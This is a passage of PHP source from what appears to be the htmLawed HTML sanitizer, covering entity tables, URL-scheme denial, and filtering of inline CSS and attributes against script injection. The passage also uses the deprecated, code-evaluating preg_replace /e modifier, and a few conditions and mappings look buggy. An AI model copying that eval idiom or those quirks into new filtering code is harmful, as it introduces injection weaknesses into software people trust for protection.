static $N = array('fnof'=>'402', 'Alpha'=>'913', 'Beta'=>'914', 'Gamma'=>'915', 'Delta'=>'916', 'Epsilon'=>'917', 'Zeta'=>'918', 'Eta'=>'919', 'Theta'=>'920', 'Iota'=>'921', 'Kappa'=>'922', 'Lambda'=>'923', 'Mu'=>'924', 'Nu'=>'925', 'Xi'=>'926', 'Omicron'=>'927', 'Pi'=>'928', 'Rho'=>'929', 'Sigma'=>'931', 'Tau'=>'932', 'Upsilon'=>'933', 'Phi'=>'934', 'Chi'=>'935', 'Psi'=>'936', 'Omega'=>'937', 'alpha'=>'945', 'beta'=>'946', 'gamma'=>'947', 'delta'=>'948', 'epsilon'=>'949', 'zeta'=>'950', 'eta'=>'951', 'theta'=>'952', 'iota'=>'953', 'kappa'=>'954', 'lambda'=>'955', 'mu'=>'956', 'nu'=>'957', 'xi'=>'958', 'omicron'=>'959', 'pi'=>'960', 'rho'=>'961', 'sigmaf'=>'962', 'sigma'=>'963', 'tau'=>'964', 'upsilon'=>'965', 'phi'=>'966', 'chi'=>'967', 'psi'=>'968', 'omega'=>'969', 'thetasym'=>'977', 'upsih'=>'978', 'piv'=>'982', 'bull'=>'8226', 'hellip'=>'8230', 'prime'=>'8242', 'Prime'=>'8243', 'oline'=>'8254', 'frasl'=>'8260', 'weierp'=>'8472', 'image'=>'8465', 'real'=>'8476', 'trade'=>'8482', 'alefsym'=>'8501', 'larr'=>'8592', 'uarr'=>'8593', 'rarr'=>'8594', 'darr'=>'8595', 'harr'=>'8596', 'crarr'=>'8629', 'lArr'=>'8656', 'uArr'=>'8657', 'rArr'=>'8658', 'dArr'=>'8659', 'hArr'=>'8660', 'forall'=>'8704', 'part'=>'8706', 'exist'=>'8707', 'empty'=>'8709', 'nabla'=>'8711', 'isin'=>'8712', 'notin'=>'8713', 'ni'=>'8715', 'prod'=>'8719', 'sum'=>'8721', 'minus'=>'8722', 'lowast'=>'8727', 'radic'=>'8730', 'prop'=>'8733', 'infin'=>'8734', 'ang'=>'8736', 'and'=>'8743', 'or'=>'8744', 'cap'=>'8745', 'cup'=>'8746', 'int'=>'8747', 'there4'=>'8756', 'sim'=>'8764', 'cong'=>'8773', 'asymp'=>'8776', 'ne'=>'8800', 'equiv'=>'8801', 'le'=>'8804', 'ge'=>'8805', 'sub'=>'8834', 'sup'=>'8835', 'nsub'=>'8836', 'sube'=>'8838', 'supe'=>'8839', 'oplus'=>'8853', 'otimes'=>'8855', 'perp'=>'8869', 'sdot'=>'8901', 'lceil'=>'8968', 'rceil'=>'8969', 'lfloor'=>'8970', 'rfloor'=>'8971', 'lang'=>'9001', 'rang'=>'9002', 'loz'=>'9674', 'spades'=>'9824', 'clubs'=>'9827', 'hearts'=>'9829', 'diams'=>'9830', 'apos'=>'39', 'OElig'=>'338', 'oelig'=>'339', 'Scaron'=>'352', 'scaron'=>'353', 'Yuml'=>'376', 'circ'=>'710', 'tilde'=>'732', 'ensp'=>'8194', 'emsp'=>'8195', 'thinsp'=>'8201', 'zwnj'=>'8204', 'zwj'=>'8205', 'lrm'=>'8206', 'rlm'=>'8207', 'ndash'=>'8211', 'mdash'=>'8212', 'lsquo'=>'8216', 'rsquo'=>'8217', 'sbquo'=>'8218', 'ldquo'=>'8220', 'rdquo'=>'8221', 'bdquo'=>'8222', 'dagger'=>'8224', 'Dagger'=>'8225', 'permil'=>'8240', 'lsaquo'=>'8249', 'rsaquo'=>'8250', 'euro'=>'8364', 'nbsp'=>'160', 'iexcl'=>'161', 'cent'=>'162', 'pound'=>'163', 'curren'=>'164', 'yen'=>'165', 'brvbar'=>'166', 'sect'=>'167', 'uml'=>'168', 'copy'=>'169', 'ordf'=>'170', 'laquo'=>'171', 'not'=>'172', 'shy'=>'173', 'reg'=>'174', 'macr'=>'175', 'deg'=>'176', 'plusmn'=>'177', 'sup2'=>'178', 'sup3'=>'179', 'acute'=>'180', 'micro'=>'181', 'para'=>'182', 'middot'=>'183', 'cedil'=>'184', 'sup1'=>'185', 'ordm'=>'186', 'raquo'=>'187', 'frac14'=>'188', 'frac12'=>'189', 'frac34'=>'190', 'iquest'=>'191', 'Agrave'=>'192', 'Aacute'=>'193', 'Acirc'=>'194', 'Atilde'=>'195', 'Auml'=>'196', 'Aring'=>'197', 'AElig'=>'198', 'Ccedil'=>'199', 'Egrave'=>'200', 'Eacute'=>'201', 'Ecirc'=>'202', 'Euml'=>'203', 'Igrave'=>'204', 'Iacute'=>'205', 'Icirc'=>'206', 'Iuml'=>'207', 'ETH'=>'208', 'Ntilde'=>'209', 'Ograve'=>'210', 'Oacute'=>'211', 'Ocirc'=>'212', 'Otilde'=>'213', 'Ouml'=>'214', 'times'=>'215', 'Oslash'=>'216', 'Ugrave'=>'217', 'Uacute'=>'218', 'Ucirc'=>'219', 'Uuml'=>'220', 'Yacute'=>'221', 'THORN'=>'222', 'szlig'=>'223', 'agrave'=>'224', 'aacute'=>'225', 'acirc'=>'226', 'atilde'=>'227', 'auml'=>'228', 'aring'=>'229', 'aelig'=>'230', 'ccedil'=>'231', 'egrave'=>'232', 'eacute'=>'233', 'ecirc'=>'234', 'euml'=>'235', 'igrave'=>'236', 'iacute'=>'237', 'icirc'=>'238', 'iuml'=>'239', 'eth'=>'240', 'ntilde'=>'241', 'ograve'=>'242', 'oacute'=>'243', 'ocirc'=>'244', 'otilde'=>'245', 'ouml'=>'246', 'divide'=>'247', 'oslash'=>'248', 'ugrave'=>'249', 'uacute'=>'250', 'ucirc'=>'251', 'uuml'=>'252', 'yacute'=>'253', 'thorn'=>'254', 'yuml'=>'255');
if($t[0] != '#'){
return ($C['and_mark'] ? "\x06" : '&'). (isset($U[$t]) ? $t : (isset($N[$t]) ? (!$C['named_entity'] ? '#'. ($C['hexdec_entity'] > 1 ? 'x'. dechex($N[$t]) : $N[$t]) : $t) : 'amp;'. $t)). ';';
}
if(($n = ctype_digit($t = substr($t, 1)) ? intval($t) : hexdec(substr($t, 1))) < 9 or ($n > 13 && $n < 32) or $n == 11 or $n == 12 or ($n > 126 && $n < 160 && $n != 133) or ($n > 55295 && ($n < 57344 or ($n > 64975 && $n < 64992) or $n == 65534 or $n == 65535 or $n > 1114111))){
return ($C['and_mark'] ? "\x06" : '&'). "amp;#{$t};";
}
return ($C['and_mark'] ? "\x06" : '&'). '#'. (((ctype_digit($t) && $C['hexdec_entity'] < 2) or !$C['hexdec_entity']) ? $n : 'x'. dechex($n)). ';';
// eof
}
function hl_prot($p, $c=null){
// check URL scheme
global $C;
$b = $a = '';
if($c == null){$c = 'style'; $b = $p[1]; $a = $p[3]; $p = trim($p[2]);}
$c = isset($C['schemes'][$c]) ? $C['schemes'][$c] : $C['schemes']['*'];
static $d = 'denied:';
if(isset($c['!']) && substr($p, 0, 7) != $d){$p = "$d$p";}
if(isset($c['*']) or !strcspn($p, '#?;') or (substr($p, 0, 7) == $d)){return "{$b}{$p}{$a}";} // All ok, frag, query, param
if(preg_match('`^([a-z\d\-+.&#; ]+?)(:|&#(58|x3a);|%3a|\\\\0{0,4}3a).`i', $p, $m) && !isset($c[strtolower($m[1])])){ // Denied prot
return "{$b}{$d}{$p}{$a}";
}
if($C['abs_url']){
if($C['abs_url'] == -1 && strpos($p, $C['base_url']) === 0){ // Make url rel
$p = substr($p, strlen($C['base_url']));
}elseif(empty($m[1])){ // Make URL abs
if(substr($p, 0, 2) == '//'){$p = substr($C['base_url'], 0, strpos($C['base_url'], ':')+1). $p;}
elseif($p[0] == '/'){$p = preg_replace('`(^.+?://[^/]+)(.*)`', '$1', $C['base_url']). $p;}
elseif(strcspn($p, './')){$p = $C['base_url']. $p;}
else{
preg_match('`^([a-zA-Z\d\-+.]+://[^/]+)(.*)`', $C['base_url'], $m);
$p = preg_replace('`(?<=/)\./`', '', $m[2]. $p);
while(preg_match('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', $p)){
$p = preg_replace('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', '', $p);
}
$p = $m[1]. $p;
}
}
}
return "{$b}{$p}{$a}";
// eof
}
function hl_regex($p){
// ?regex
if(empty($p)){return 0;}
if($t = ini_get('track_errors')){$o = isset($php_errormsg) ? $php_errormsg : null;}
else{ini_set('track_errors', 1);}
unset($php_errormsg);
if(($d = ini_get('display_errors'))){ini_set('display_errors', 0);}
preg_match($p, '');
if($d){ini_set('display_errors', 1);}
$r = isset($php_errormsg) ? 0 : 1;
if($t){$php_errormsg = isset($o) ? $o : null;}
else{ini_set('track_errors', 0);}
return $r;
// eof
}
function hl_spec($t){
// final $spec
$s = array();
$t = str_replace(array("\t", "\r", "\n", ' '), '', preg_replace('/"(?>(`.|[^"])*)"/sme', 'substr(str_replace(array(";", "|", "~", " ", ",", "/", "(", ")", \'`"\'), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\""), "$0"), 1, -1)', trim($t)));
for($i = count(($t = explode(';', $t))); --$i>=0;){
$w = $t[$i];
if(empty($w) or ($e = strpos($w, '=')) === false or !strlen(($a = substr($w, $e+1)))){continue;}
$y = $n = array();
foreach(explode(',', $a) as $v){
if(!preg_match('`^([a-z:\-\*]+)(?:\((.*?)\))?`i', $v, $m)){continue;}
if(($x = strtolower($m[1])) == '-*'){$n['*'] = 1; continue;}
if($x[0] == '-'){$n[substr($x, 1)] = 1; continue;}
if(!isset($m[2])){$y[$x] = 1; continue;}
foreach(explode('/', $m[2]) as $m){
if(empty($m) or ($p = strpos($m, '=')) == 0 or $p < 5){$y[$x] = 1; continue;}
$y[$x][strtolower(substr($m, 0, $p))] = str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08"), array(";", "|", "~", " ", ",", "/", "(", ")"), substr($m, $p+1));
}
if(isset($y[$x]['match']) && !hl_regex($y[$x]['match'])){unset($y[$x]['match']);}
if(isset($y[$x]['nomatch']) && !hl_regex($y[$x]['nomatch'])){unset($y[$x]['nomatch']);}
}
if(!count($y) && !count($n)){continue;}
foreach(explode(',', substr($w, 0, $e)) as $v){
if(!strlen(($v = strtolower($v)))){continue;}
if(count($y)){$s[$v] = $y;}
if(count($n)){$s[$v]['n'] = $n;}
}
}
return $s;
// eof
}
function hl_tag($t){
// tag/attribute handler
global $C;
$t = $t[0];
// invalid < >
if($t == '< '){return '&lt; ';}
if($t == '>'){return '&gt;';}
if(!preg_match('`^<(/?)([a-zA-Z][a-zA-Z1-6]*)([^>]*?)\s?>$`m', $t, $m)){
return str_replace(array('<', '>'), array('&lt;', '&gt;'), $t);
}elseif(!isset($C['elements'][($e = strtolower($m[2]))])){
return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('&lt;', '&gt;'), $t) : '');
}
// attr string
$a = str_replace(array("\n", "\r", "\t"), ' ', trim($m[3]));
// tag transform
static $eD = array('applet'=>1, 'center'=>1, 'dir'=>1, 'embed'=>1, 'font'=>1, 'isindex'=>1, 'menu'=>1, 's'=>1, 'strike'=>1, 'u'=>1); // Deprecated
if($C['make_tag_strict'] && isset($eD[$e])){
$trt = hl_tag2($e, $a, $C['make_tag_strict']);
if(!$e){return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('&lt;', '&gt;'), $t) : '');}
}
// close tag
static $eE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty ele
if(!empty($m[1])){
return (!isset($eE[$e]) ? "</$e>" : (($C['keep_bad'])%2 ? str_replace(array('<', '>'), array('&lt;', '&gt;'), $t) : ''));
}
// open tag & attr
static $aN = array('abbr'=>array('td'=>1, 'th'=>1), 'accept-charset'=>array('form'=>1), 'accept'=>array('form'=>1, 'input'=>1), 'accesskey'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'legend'=>1, 'textarea'=>1), 'action'=>array('form'=>1), 'align'=>array('caption'=>1, 'embed'=>1, 'applet'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'legend'=>1, 'table'=>1, 'hr'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'p'=>1, 'col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'alt'=>array('applet'=>1, 'area'=>1, 'img'=>1, 'input'=>1), 'archive'=>array('applet'=>1, 'object'=>1), 'axis'=>array('td'=>1, 'th'=>1), 'bgcolor'=>array('embed'=>1, 'table'=>1, 'tr'=>1, 'td'=>1, 'th'=>1), 'border'=>array('table'=>1, 'img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'cellpadding'=>array('table'=>1), 'cellspacing'=>array('table'=>1), 'char'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charoff'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charset'=>array('a'=>1, 'script'=>1), 'checked'=>array('input'=>1), 'cite'=>array('blockquote'=>1, 'q'=>1, 'del'=>1, 'ins'=>1), 'classid'=>array('object'=>1), 'clear'=>array('br'=>1), 'code'=>array('applet'=>1), 'codebase'=>array('object'=>1, 'applet'=>1), 'codetype'=>array('object'=>1), 'color'=>array('font'=>1), 'cols'=>array('textarea'=>1), 'colspan'=>array('td'=>1, 'th'=>1), 'compact'=>array('dir'=>1, 'dl'=>1, 'menu'=>1, 'ol'=>1, 'ul'=>1), 'coords'=>array('area'=>1, 'a'=>1), 'data'=>array('object'=>1), 'datetime'=>array('del'=>1, 'ins'=>1), 'declare'=>array('object'=>1), 'defer'=>array('script'=>1), 'dir'=>array('bdo'=>1), 'disabled'=>array('button'=>1, 'input'=>1, 'optgroup'=>1, 'option'=>1, 'select'=>1, 'textarea'=>1), 'enctype'=>array('form'=>1), 'face'=>array('font'=>1), 'flashvars'=>array('embed'=>1), 'for'=>array('label'=>1), 'frame'=>array('table'=>1), 'frameborder'=>array('iframe'=>1), 'headers'=>array('td'=>1, 'th'=>1), 'height'=>array('embed'=>1, 'iframe'=>1, 'td'=>1, 'th'=>1, 'img'=>1, 'object'=>1, 'applet'=>1), 'href'=>array('a'=>1, 'area'=>1), 'hreflang'=>array('a'=>1), 'hspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'ismap'=>array('img'=>1, 'input'=>1), 'label'=>array('option'=>1, 'optgroup'=>1), 'language'=>array('script'=>1), 'longdesc'=>array('img'=>1, 'iframe'=>1), 'marginheight'=>array('iframe'=>1), 'marginwidth'=>array('iframe'=>1), 'maxlength'=>array('input'=>1), 'method'=>array('form'=>1), 'model'=>array('embed'=>1), 'multiple'=>array('select'=>1), 'name'=>array('button'=>1, 'embed'=>1, 'textarea'=>1, 'applet'=>1, 'select'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'a'=>1, 'input'=>1, 'object'=>1, 'map'=>1, 'param'=>1), 'nohref'=>array('area'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'object'=>array('applet'=>1), 'onblur'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onchange'=>array('input'=>1, 'select'=>1, 'textarea'=>1), 'onfocus'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onreset'=>array('form'=>1), 'onselect'=>array('input'=>1, 'textarea'=>1), 'onsubmit'=>array('form'=>1), 'pluginspage'=>array('embed'=>1), 'pluginurl'=>array('embed'=>1), 'prompt'=>array('isindex'=>1), 'readonly'=>array('textarea'=>1, 'input'=>1), 'rel'=>array('a'=>1), 'rev'=>array('a'=>1), 'rows'=>array('textarea'=>1), 'rowspan'=>array('td'=>1, 'th'=>1), 'rules'=>array('table'=>1), 'scope'=>array('td'=>1, 'th'=>1), 'scrolling'=>array('iframe'=>1), 'selected'=>array('option'=>1), 'shape'=>array('area'=>1, 'a'=>1), 'size'=>array('hr'=>1, 'font'=>1, 'input'=>1, 'select'=>1), 'span'=>array('col'=>1, 'colgroup'=>1), 'src'=>array('embed'=>1, 'script'=>1, 'input'=>1, 'iframe'=>1, 'img'=>1), 'standby'=>array('object'=>1), 'start'=>array('ol'=>1), 'summary'=>array('table'=>1), 'tabindex'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'object'=>1, 'select'=>1, 'textarea'=>1), 'target'=>array('a'=>1, 'area'=>1, 'form'=>1), 'type'=>array('a'=>1, 'embed'=>1, 'object'=>1, 'param'=>1, 'script'=>1, 'input'=>1, 'li'=>1, 'ol'=>1, 'ul'=>1, 'button'=>1), 'usemap'=>array('img'=>1, 'input'=>1, 'object'=>1), 'valign'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'value'=>array('input'=>1, 'option'=>1, 'param'=>1, 'button'=>1, 'li'=>1), 'valuetype'=>array('param'=>1), 'vspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'width'=>array('embed'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'object'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'applet'=>1, 'col'=>1, 'colgroup'=>1, 'pre'=>1), 'wmode'=>array('embed'=>1), 'xml:space'=>array('pre'=>1, 'script'=>1, 'style'=>1)); // Ele-specific
static $aNE = array('checked'=>1, 'compact'=>1, 'declare'=>1, 'defer'=>1, 'disabled'=>1, 'ismap'=>1, 'multiple'=>1, 'nohref'=>1, 'noresize'=>1, 'noshade'=>1, 'nowrap'=>1, 'readonly'=>1, 'selected'=>1); // Empty
static $aNP = array('action'=>1, 'cite'=>1, 'classid'=>1, 'codebase'=>1, 'data'=>1, 'href'=>1, 'longdesc'=>1, 'model'=>1, 'pluginspage'=>1, 'pluginurl'=>1, 'usemap'=>1); // Need scheme check; excludes style, on* & src
static $aNU = array('class'=>array('param'=>1, 'script'=>1), 'dir'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'id'=>array('script'=>1), 'lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'xml:lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'onclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'ondblclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeydown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeypress'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeyup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousedown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousemove'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseout'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseover'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'style'=>array('param'=>1, 'script'=>1), 'title'=>array('param'=>1, 'script'=>1)); // Univ & exceptions
if($C['lc_std_val']){
// predef attr vals for $eAL & $aNE ele
static $aNL = array('all'=>1, 'baseline'=>1, 'bottom'=>1, 'button'=>1, 'center'=>1, 'char'=>1, 'checkbox'=>1, 'circle'=>1, 'col'=>1, 'colgroup'=>1, 'cols'=>1, 'data'=>1, 'default'=>1, 'file'=>1, 'get'=>1, 'groups'=>1, 'hidden'=>1, 'image'=>1, 'justify'=>1, 'left'=>1, 'ltr'=>1, 'middle'=>1, 'none'=>1, 'object'=>1, 'password'=>1, 'poly'=>1, 'post'=>1, 'preserve'=>1, 'radio'=>1, 'rect'=>1, 'ref'=>1, 'reset'=>1, 'right'=>1, 'row'=>1, 'rowgroup'=>1, 'rows'=>1, 'rtl'=>1, 'submit'=>1, 'text'=>1, 'top'=>1);
static $eAL = array('a'=>1, 'area'=>1, 'bdo'=>1, 'button'=>1, 'col'=>1, 'form'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'xml:space'=>1);
$lcase = isset($eAL[$e]) ? 1 : 0;
}
$depTr = 0;
if($C['no_deprecated_attr']){
// dep attr:applicable ele
static $aND = array('align'=>array('caption'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'object'=>1, 'p'=>1, 'table'=>1), 'bgcolor'=>array('table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1), 'border'=>array('img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'clear'=>array('br'=>1), 'compact'=>array('dl'=>1, 'ol'=>1, 'ul'=>1), 'height'=>array('td'=>1, 'th'=>1), 'hspace'=>array('img'=>1, 'object'=>1), 'language'=>array('script'=>1), 'name'=>array('a'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'map'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'size'=>array('hr'=>1), 'start'=>array('ol'=>1), 'type'=>array('li'=>1, 'ol'=>1, 'ul'=>1), 'value'=>array('li'=>1), 'vspace'=>array('img'=>1, 'object'=>1), 'width'=>array('hr'=>1, 'pre'=>1, 'td'=>1, 'th'=>1));
static $eAD = array('a'=>1, 'br'=>1, 'caption'=>1, 'div'=>1, 'dl'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'object'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'script'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1, 'ul'=>1);
$depTr = isset($eAD[$e]) ? 1 : 0;
}
// attr name-vals
if(strpos($a, "\x01") !== false){$a = preg_replace('`\x01[^\x01]*\x01`', '', $a);} // No comment/CDATA sec
$mode = 0; $a = trim($a, ' /'); $aA = array();
while(strlen($a)){
$w = 0;
switch($mode){
case 0: // Name
if(preg_match('`^[a-zA-Z][\-a-zA-Z:]+`', $a, $m)){
$nm = strtolower($m[0]);
$w = $mode = 1; $a = ltrim(substr_replace($a, '', 0, strlen($m[0])));
}
break; case 1:
if($a[0] == '='){ // =
$w = 1; $mode = 2; $a = ltrim($a, '= ');
}else{ // No val
$w = 1; $mode = 0; $a = ltrim($a);
$aA[$nm] = '';
}
break; case 2: // Val
if(preg_match('`^"[^"]*"`', $a, $m) or preg_match("`^'[^']*'`", $a, $m) or preg_match("`^\s*[^\s\"']+`", $a, $m)){
$m = $m[0]; $w = 1; $mode = 0; $a = ltrim(substr_replace($a, '', 0, strlen($m)));
$aA[$nm] = trim(($m[0] == '"' or $m[0] == '\'') ? substr($m, 1, -1) : $m);
}
break;
}
if($w == 0){ // Parse errs, deal with space, " & '
$a = preg_replace('`^(?:"[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*`', '', $a);
$mode = 0;
}
}
if($mode == 1){$aA[$nm] = '';}
// clean attrs
global $S;
$rl = isset($S[$e]) ? $S[$e] : array();
$a = array(); $nfr = 0;
foreach($aA as $k=>$v){
if(((isset($C['deny_attribute']['*']) ? isset($C['deny_attribute'][$k]) : !isset($C['deny_attribute'][$k])) or isset($rl[$k])) && ((!isset($rl['n'][$k]) && !isset($rl['n']['*'])) or isset($rl[$k])) && (isset($aN[$k][$e]) or (isset($aNU[$k]) && !isset($aNU[$k][$e])))){
if(isset($aNE[$k])){$v = $k;}
elseif(!empty($lcase) && (($e != 'button' or $e != 'input') or $k == 'type')){ // Rather loose but ?not cause issues
$v = (isset($aNL[($v2 = strtolower($v))])) ? $v2 : $v;
}
if($k == 'style' && !$C['style_pass']){
if(false !== strpos($v, '&#')){
static $sC = array('&#x20;'=>' ', '&#32;'=>' ', '&#x45;'=>'e', '&#69;'=>'e', '&#x65;'=>'e', '&#101;'=>'e', '&#x58;'=>'x', '&#88;'=>'x', '&#x78;'=>'x', '&#120;'=>'x', '&#x50;'=>'p', '&#80;'=>'p', '&#x70;'=>'p', '&#112;'=>'p', '&#x53;'=>'s', '&#83;'=>'s', '&#x73;'=>'s', '&#115;'=>'s', '&#x49;'=>'i', '&#73;'=>'i', '&#x69;'=>'i', '&#105;'=>'i', '&#x4f;'=>'o', '&#79;'=>'o', '&#x6f;'=>'o', '&#111;'=>'o', '&#x4e;'=>'n', '&#78;'=>'n', '&#x6e;'=>'n', '&#110;'=>'n', '&#x55;'=>'u', '&#85;'=>'u', '&#x75;'=>'u', '&#117;'=>'u', '&#x52;'=>'r', '&#82;'=>'r', '&#x72;'=>'r', '&#114;'=>'r', '&#x4c;'=>'l', '&#76;'=>'l', '&#x6c;'=>'l', '&#108;'=>'l', '&#x28;'=>'(', '&#40;'=>'(', '&#x29;'=>')', '&#41;'=>')', '&#x20;'=>':', '&#32;'=>':', '&#x22;'=>'"', '&#34;'=>'"', '&#x27;'=>"'", '&#39;'=>"'", '&#x2f;'=>'/', '&#47;'=>'/', '&#x2a;'=>'*', '&#42;'=>'*', '&#x5c;'=>'\\', '&#92;'=>'\\');
$v = strtr($v, $sC);
}
$v = preg_replace_callback('`(url(?:\()(?: )*(?:\'|"|&(?:quot|apos);)?)(.+?)((?:\'|"|&(?:quot|apos);)?(?: )*(?:\)))`iS', 'hl_prot', $v);
$v = !$C['css_expression'] ? preg_replace('`expression`i', ' ', preg_replace('`\\\\\S|(/|(%2f))(\*|(%2a))`i', ' ', $v)) : $v;
}elseif(isset($aNP[$k]) or strpos($k, 'src') !== false or $k[0] == 'o'){
$v = str_replace("\xad", ' ', (strpos($v, '&') !== false ? str_replace(array('&#xad;', '&#173;', '&shy;'), ' ', $v) : $v));
$v = hl_prot($v, $k);
if($k == 'href'){ // X-spam
if($C['anti_mail_spam'] && strpos($v, 'mailto:') === 0){
$v = str_replace('@', htmlspecialchars($C['anti_mail_spam']), $v);
}elseif($C['anti_link_spam']){
$r1 = $C['anti_link_spam'][1];
if(!empty($r1) && preg_match($r1, $v)){continue;}
$r0 = $C['anti_link_spam'][0];
if(!empty($r0) && preg_match($r0, $v)){
if(isset($a['rel'])){
if(!preg_match('`\bnofollow\b`i', $a['rel'])){$a['rel'] .= ' nofollow';}
}elseif(isset($aA['rel'])){
if(!preg_match('`\bnofollow\b`i', $aA['rel'])){$nfr = 1;}
}else{$a['rel'] = 'nofollow';}
}
}
}
}
if(isset($rl[$k]) && is_array($rl[$k]) && ($v = hl_attrval($v, $rl[$k])) === 0){continue;}
$a[$k] = str_replace('"', '&quot;', $v);
}
}
if($nfr){$a['rel'] = isset($a['rel']) ? $a['rel']. ' nofollow' : 'nofollow';}
// rqd attr
static $eAR = array('area'=>array('alt'=>'area'), 'bdo'=>array('dir'=>'ltr'), 'form'=>array('action'=>''), 'img'=>array('src'=>'', 'alt'=>'image'), 'map'=>array('name'=>''), 'optgroup'=>array('label'=>''), 'param'=>array('name'=>''), 'script'=>array('type'=>'text/javascript'), 'textarea'=>array('rows'=>'10', 'cols'=>'50'));
if(isset($eAR[$e])){
foreach($eAR[$e] as $k=>$v){
if(!isset($a[$k])){$a[$k] = isset($v[0]) ? $v : $k;}
}
}
// depr attrs
if($depTr){
$c = array();
foreach($a as $k=>$v){
if($k == 'style' or !isset($aND[$k][$e])){continue;}
if($k == 'align'){
unset($a['align']);
if($e == 'img' && ($v == 'left' or $v == 'right')){$c[] = 'float: '. $v;}
elseif(($e == 'div' or $e == 'table') && $v == 'center'){$c[] = 'margin: auto';}
else{$c[] = 'text-align: '. $v;}
}elseif($k == 'bgcolor'){
unset($a['bgcolor']);
$c[] = 'background-color: '. $v;
}elseif($k == 'border'){
unset($a['border']); $c[] = "border: {$v}px";
}elseif($k == 'bordercolor'){
unset($a['bordercolor']); $c[] = 'border-color: '. $v;
}elseif($k == 'clear'){
unset($a['clear']); $c[] = 'clear: '. ($v != 'all' ? $v : 'both');
}elseif($k == 'compact'){
unset($a['compact']); $c[] = 'font-size: 85%';
}elseif($k == 'height' or $k == 'width'){
